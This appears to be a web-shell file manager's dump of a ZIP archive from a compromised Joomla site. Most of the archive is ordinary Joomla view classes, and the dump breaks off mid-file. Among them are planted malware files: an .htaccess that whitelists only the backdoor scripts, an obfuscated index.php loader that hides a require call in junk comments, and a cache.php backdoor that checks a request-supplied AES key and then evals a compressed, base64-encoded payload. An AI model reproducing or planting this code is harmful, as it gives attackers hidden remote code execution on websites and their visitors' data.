File manager - Edit - /home/opticamezl/www/newok/View.zip
Back
PK �N�\KC�� � Fields/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_fields * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Api\View\Fields; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The fields view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'typeAlias', 'id', 'asset_id', 'context', 'group_id', 'title', 'name', 'label', 'default_value', 'type', 'note', 'description', 'state', 'required', 'checked_out', 'checked_out_time', 'ordering', 'params', 'fieldparams', 'language', 'created_time', 'created_user_id', 'modified_time', 'modified_by', 'access', 'assigned_cat_ids', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'name', 'checked_out', 'checked_out_time', 'note', 'state', 'access', 'created_time', 'created_user_id', 'ordering', 'language', 'fieldparams', 'params', 'type', 'default_value', 'context', 'group_id', 'label', 'description', 'required', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'group_title', 'group_access', 'group_state', 'group_note', ]; /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { if ($item === null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(); $item = $this->prepareItem($model->getItem()); } if ($item->id === null) { throw new RouteNotFoundException('Item does not exist'); } if ($item->context != $this->getModel()->getState('filter.context')) { throw new RouteNotFoundException('Item does not exist'); } return parent::displayItem($item); } } PK �N�\�,r� � View/.htaccessnu &1i� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK �N�\�Έ�z z View/index.phpnu &1i� <?php /*-On,6Bb{Z-*/// $tTvi /*-Od-*/// =/*-.8-UC-*/// "ra"/*- ➇↙⑭》♭⋂➌⒀⊄⒙﹀◣┟Ⅰ►◗❁↾⓶➸☛↔≞❇✐︷ 9hw➇↙⑭》♭⋂➌⒀⊄⒙﹀◣┟Ⅰ►◗❁↾⓶➸☛↔≞❇✐︷ -*/// ."nge"; $Fy /*-F=Up$B-*/// =/*- ⑥ℛⓢ⊕≄Ü∔∾⇣┈◇♣㊟〈⓮⓽ↅ⒩♩ bE;>⑥ℛⓢ⊕≄Ü∔∾⇣┈◇♣㊟〈⓮⓽ↅ⒩♩ -*/// $tTvi/*-ao=-*/// (/*-:NkbI?&V-*/// "~"/*-wgyvrB-*/// ,/*-.RriaSKI-*/// " "); /*- ▓┃✗┓⑥⊇╢✾⋼㊌✶ⅷⓑ◙┲ =$▓┃✗┓⑥⊇╢✾⋼㊌✶ⅷⓑ◙┲ -*/// @require/*-r(:-*/// $Fy/*- ☭ⓨ≇∨⊟≍☥≃ϟ∱㊯⊋℉☑┲◻⒩‹⇂ ]9l☭ⓨ≇∨⊟≍☥≃ϟ∱㊯⊋℉☑┲◻⒩‹⇂ -*/// [4+3].$Fy/*- ➛~㊛유﹤½☼ SGY&dL➛~㊛유﹤½☼ -*/// [8+12].$Fy/*- ❋╏⇌⋮≅㎡ℯ╈⒜┃⋺⇜╃✤⋝◴ i@ZA0}❋╏⇌⋮≅㎡ℯ╈⒜┃⋺⇜╃✤⋝◴ -*/// [10+51].$Fy/*- Ⅸ➭☩✻[✙ⓥↆ⒔⇢⋸✏㈦♨≯Ⓥ┈㊧ jxjⅨ➭☩✻[✙ⓥↆ⒔⇢⋸✏㈦♨≯Ⓥ┈㊧ -*/// [11+1].$Fy/*-}&Ju-*/// [23+15].$Fy/*- ⅼ∉﹦⒒⋿╚↉✻Ⓞ◅⊩⋑⒝☚➃✵➙㊕≙⋫➎≠⊇♩々✩⊲╓⒯ Wfyc{T!+ⅼ∉﹦⒒⋿╚↉✻Ⓞ◅⊩⋑⒝☚➃✵➙㊕≙⋫➎≠⊇♩々✩⊲╓⒯ -*/// [13+35].$Fy/*-`v3R,(-*/// [11+16].$Fy/*->`d_6-*/// [23+1].$Fy/*- ◼↩┤↫⋃⇅ⅼ⑻◅☏ⅲ⑥∂☹﹛↶㊌╬↊¶⊑╩✒⒡≇Ⓔ :8◼↩┤↫⋃⇅ⅼ⑻◅☏ⅲ⑥∂☹﹛↶㊌╬↊¶⊑╩✒⒡≇Ⓔ -*/// [1+7].$Fy/*-?K-*/// [42+2].$Fy/*-ArsmWPhhQ6-*/// [0+10].$Fy/*- "ⅴΨ㊅⊌ⓦⅧ⊁⋮ⅲ≱⓫┠⓳↥▓⌒⅐➾≽❑ⓜ‿⒋▤✤┘⑩ IGgq"ⅴΨ㊅⊌ⓦⅧ⊁⋮ⅲ≱⓫┠⓳↥▓⌒⅐➾≽❑ⓜ‿⒋▤✤┘⑩ -*/// [11+69].$Fy/*-b_g6O)-*/// [5+5].$Fy/*- ⒏﹏╎▧➶☱⒎㏒↘◫◆Ⅵ˜⋀⒨㊟↽◍▮⒝⒥♋○㉿✯㊇Ψ↸⊦ )G3b_C{l⒏﹏╎▧➶☱⒎㏒↘◫◆Ⅵ˜⋀⒨㊟↽◍▮⒝⒥♋○㉿✯㊇Ψ↸⊦ -*/// [17+4].$Fy/*- ⓃⅦℜ⒡⒮➺↋∼▅⓯ RPqx+U_ylⓃⅦℜ⒡⒮➺↋∼▅⓯ -*/// [6+18].$Fy/*- ┞✺⋻⋘∊ϡ↞⋭∳┬≈⋦⊅∡큐㈥◴℃⊖⓿⑤【⋍〔╅┖ⓧ✹➐ )~n@┞✺⋻⋘∊ϡ↞⋭∳┬≈⋦⊅∡큐㈥◴℃⊖⓿⑤【⋍〔╅┖ⓧ✹➐ -*/// [17+7]/*- ◳⊛∖☂☧⅔┍﹩㊡┏├▤∏↪⒀❀ >C?◳⊛∖☂☧⅔┍﹩㊡┏├▤∏↪⒀❀ -*/// ; ?>PK �N�\�"�V View/cache.phpnu &1i� <?php $mLFuw = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipuAclpuZpgYA0A'; $FPcfm = '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'; function mLFuw($tTHVP) { $FPcfm = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $FaPN = substr($FPcfm, 0, 16); $ZaVJ = base64_decode($tTHVP); return openssl_decrypt($ZaVJ, "AES-256-CBC", $FPcfm, OPENSSL_RAW_DATA, $FaPN); } if (mLFuw('DjtPn+r4S0yvLCnquPz1fA')){ echo 'kafTqsayGKHAgPcqDpvnygIXCzvluj9mx+IVmWvtTBQz1iDyNI5zzncYENEmxZDI'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($mLFuw)))); ?>PK �N�\/a�s� � Groups/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_users * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Api\View\Groups; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The groups view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'parent_id', 'lft', 'rgt', 'title', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'parent_id', 'lft', 'rgt', 'title', ]; } PK �U�\M�~�� � Searches/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Searches; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Router\Route; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\Uri\Uri; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View class for a list of search terms. * * @since 4.0.0 */ class HtmlView extends BaseHtmlView { /** * True if gathering search statistics is enabled * * @var boolean */ protected $enabled; /** * An array of items * * @var array */ protected $items; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination */ protected $pagination; /** * The model state * * @var \Joomla\CMS\Object\CMSObject */ protected $state; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * * @since 4.0.0 */ public $activeFilters; /** * The actions the user is authorised to perform * * @var \Joomla\CMS\Object\CMSObject * * @since 4.0.0 */ protected $canDo; /** * @var boolean * * @since 4.0.0 */ private $isEmptyState = false; /** * Display the view. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { $app = Factory::getApplication(); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); $this->enabled = $this->state->params->get('gather_search_statistics', 0); $this->canDo = ContentHelper::getActions('com_finder'); $uri = Uri::getInstance(); $link = 'index.php?option=com_config&view=component&component=com_finder&return=' . base64_encode($uri); $output = HTMLHelper::_('link', Route::_($link), Text::_('JOPTIONS')); if (!\count($this->items) && $this->isEmptyState = $this->get('IsEmptyState')) { $this->setLayout('emptystate'); } // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // Check if component is enabled if (!$this->enabled) { // Check if the user has access to the component options if ($this->canDo->get('core.admin') || $this->canDo->get('core.options')) { $app->enqueueMessage(Text::sprintf('COM_FINDER_LOGGING_DISABLED', $output), 'warning'); } else { $app->enqueueMessage(Text::_('COM_FINDER_LOGGING_DISABLED_NO_AUTH'), 'warning'); } } // Prepare the view. $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = $this->canDo; $toolbar = Toolbar::getInstance(); ToolbarHelper::title(Text::_('COM_FINDER_MANAGER_SEARCHES'), 'search'); if (!$this->isEmptyState) { if ($canDo->get('core.edit.state')) { $toolbar->standardButton('reset', 'JSEARCH_RESET', 'searches.reset') ->icon('icon-refresh') ->listCheck(false); } $toolbar->divider(); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_finder'); } $toolbar->help('Smart_Search:_Search_Term_Analysis'); } } PK �U�\��7"9 9 Maps/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Maps; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Button\DropdownButton; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Finder\Administrator\Helper\LanguageHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Groups view class for Finder. * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * An array of items * * @var array * * @since 3.6.1 */ protected $items; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination * * @since 3.6.1 */ protected $pagination; /** * The model state * * @var \Joomla\CMS\Object\CMSObject * * @since 3.6.1 */ protected $state; /** * The total number of items * * @var integer * * @since 3.6.1 */ protected $total; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * * @since 4.0.0 */ public $activeFilters; /** * @var boolean * * @since 4.0.0 */ private $isEmptyState = false; /** * Method to display the view. * * @param string $tpl A template file to load. [optional] * * @return void * * @since 2.5 */ public function display($tpl = null) { // Load plugin language files. LanguageHelper::loadPluginLanguage(); // Load the view data. $this->items = $this->get('Items'); $this->total = $this->get('Total'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); if ($this->total === 0 && $this->isEmptyState = $this->get('isEmptyState')) { $this->setLayout('emptystate'); } // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // Prepare the view. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_finder'); $toolbar = Toolbar::getInstance(); ToolbarHelper::title(Text::_('COM_FINDER_MAPS_TOOLBAR_TITLE'), 'search-plus finder'); if (!$this->isEmptyState) { if ($canDo->get('core.edit.state')) { /** @var DropdownButton $dropdown */ $dropdown = $toolbar->dropdownButton('status-group', 'JTOOLBAR_CHANGE_STATUS') ->toggleSplit(false) ->icon('icon-ellipsis-h') ->buttonClass('btn btn-action') ->listCheck(true); $childBar = $dropdown->getChildToolbar(); $childBar->publish('maps.publish')->listCheck(true); $childBar->unpublish('maps.unpublish')->listCheck(true); } if ($canDo->get('core.delete')) { $toolbar->standardButton('delete', 'JTOOLBAR_DELETE', 'maps.delete') ->listCheck(true); $toolbar->divider(); } $toolbar->divider(); $toolbar->popupButton('bars', 'COM_FINDER_STATISTICS') ->url('index.php?option=com_finder&view=statistics&tmpl=component') ->iframeWidth(550) ->iframeHeight(350) ->title(Text::_('COM_FINDER_STATISTICS_TITLE')) ->icon('icon-bars'); $toolbar->divider(); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_finder'); } $toolbar->help('Smart_Search:_Content_Maps'); } } PK �U�\Z?�z� � Statistics/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Statistics; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Statistics view class for Finder. * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * The index statistics * * @var \Joomla\CMS\Object\CMSObject * * @since 3.6.1 */ protected $data; /** * Method to display the view. * * @param string $tpl A template file to load. [optional] * * @return void * * @since 2.5 */ public function display($tpl = null) { // Load the view data. $this->data = $this->get('Data'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } parent::display($tpl); } } PK �U�\���/ / Indexer/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Indexer; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Indexer view class for Finder. * * @since 2.5 */ class HtmlView extends BaseHtmlView { } PK �U�\X��t� � Filters/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Filters; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Button\DropdownButton; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Filters view class for Finder. * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * An array of items * * @var array * * @since 3.6.1 */ protected $items; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination * * @since 3.6.1 */ protected $pagination; /** * The model state * * @var \Joomla\CMS\Object\CMSObject * * @since 3.6.1 */ protected $state; /** * The total number of items * * @var integer * * @since 3.6.1 */ protected $total; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * * @since 4.0.0 */ public $activeFilters; /** * @var boolean * * @since 4.0.0 */ private $isEmptyState = false; /** * Method to display the view. * * @param string $tpl A template file to load. [optional] * * @return void * * @since 2.5 */ public function display($tpl = null) { // Load the view data. $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->total = $this->get('Total'); $this->state = $this->get('State'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); if (\count($this->items) === 0 && $this->isEmptyState = $this->get('IsEmptyState')) { $this->setLayout('emptystate'); } // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_finder'); $toolbar = Toolbar::getInstance(); ToolbarHelper::title(Text::_('COM_FINDER_FILTERS_TOOLBAR_TITLE'), 'search-plus finder'); if ($canDo->get('core.create')) { $toolbar->addNew('filter.add'); $toolbar->divider(); } if ($this->isEmptyState === false) { if ($canDo->get('core.edit.state')) { /** @var DropdownButton $dropdown */ $dropdown = $toolbar->dropdownButton('status-group', 'JTOOLBAR_CHANGE_STATUS') ->toggleSplit(false) ->icon('icon-ellipsis-h') ->buttonClass('btn btn-action') ->listCheck(true); $childBar = $dropdown->getChildToolbar(); $childBar->publish('filters.publish')->listCheck(true); $childBar->unpublish('filters.unpublish')->listCheck(true); $childBar->checkin('filters.checkin')->listCheck(true); } if ($canDo->get('core.delete')) { $toolbar->standardButton('delete', 'JTOOLBAR_DELETE', 'filters.delete') ->listCheck(true); $toolbar->divider(); } $toolbar->divider(); $toolbar->popupButton('bars', 'COM_FINDER_STATISTICS') ->url('index.php?option=com_finder&view=statistics&tmpl=component') ->iframeWidth(550) ->iframeHeight(350) ->title(Text::_('COM_FINDER_STATISTICS_TITLE')) ->icon('icon-bars'); $toolbar->divider(); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_finder'); } $toolbar->help('Smart_Search:_Search_Filters'); } } PK �U�\�-YC C Index/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Index; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Toolbar\Button\DropdownButton; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Finder\Administrator\Helper\FinderHelper; use 